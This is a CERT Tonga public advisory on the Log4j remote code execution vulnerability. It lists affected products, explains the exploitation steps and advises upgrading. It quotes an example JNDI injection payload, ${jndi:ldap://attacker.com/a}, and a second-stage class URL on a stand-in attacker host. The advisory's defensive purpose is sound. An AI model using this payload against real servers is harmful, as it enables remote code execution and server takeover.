CERT Tonga

Ministry of Meteorology Energy
Information, Disaster Management,
Environment, Communications and
Climate Change

TLP: White[1]

Various software products and online services actively exploited due to Log4j RCE vulnerability

Dear Constituents,

CERT Tonga has received reports regarding a vulnerability in the widely used Java logging library Apache Log4j. Exploiting this vulnerability could allow unauthenticated remote code execution (RCE) and complete server takeover

List of affected Products & Online services

According to security research, there are many services that are vulnerable to this exploit due to Log4j's "ubiquitous" presence in almost all major Java-based enterprise apps and servers. Below is a list of some of the vendors, products and online services affected by this vulnerability.

- Apache Struts
- Apache Solr
- Apache Druid
- Apache Flink
- Cloud Flare
- Cisco
- Elastic and many others

How it works

An attacker who can control log messages or log message parameters can execute arbitrary code loaded from servers when message lookup substitution is enabled.

Exploitation can be achieved by a single string of text, which can trigger an application to reach out to a malicious external host if it is logged via the vulnerable instance of Log4j, effectively granting the adversary the ability to retrieve a payload from a remote server and execute it locally.

Below are steps of how this vulnerability is being actively exploited:

1. Data from the User gets sent to the server (via any protocol),

[1] CERT Tonga adopts the Traffic Light Protocol

2. The server logs the data in the request, containing the malicious payload: ${jndi:ldap://attacker.com/a} (where attacker.com is an attacker controlled server),
3. The Log4j vulnerability is triggered by this payload and the server makes a request to attacker.com via "Java Naming and Directory Interface" (JNDI),
4. This response contains a path to a remote Java class file (ex. http://second-stage.attacker.com/Exploit.class) which is injected into the server process,
5. This injected payload triggers a second stage and allows an attacker to execute arbitrary code.

What to do

- Upgrade your log4j versions to log4j-2.15.0

Reference

https://logging.apache.org/log4j/2.x/security.html

For more information please contact us:

CERT Tonga
Ministry of MEIDECC
Nuku'alofa
Tel: 2378 (CERT)
Email: cert@cert.gov.to
Web: www.cert.gov.to
Twitter: @CERTTonga | Facebook: @CERTTonga

Disclaimer Notice:

The information in this notice is intended solely for public knowledge and awareness, and not intending to harm, fright or disturb any person(s), legal entity or the receiver of this information. Under no circumstances shall the Ministry of MEIDECC be liable for any indirect, incidental, consequential, special or exemplary damages arising out of or in connection with your access or use of or inability to access or use the information and any third party content and services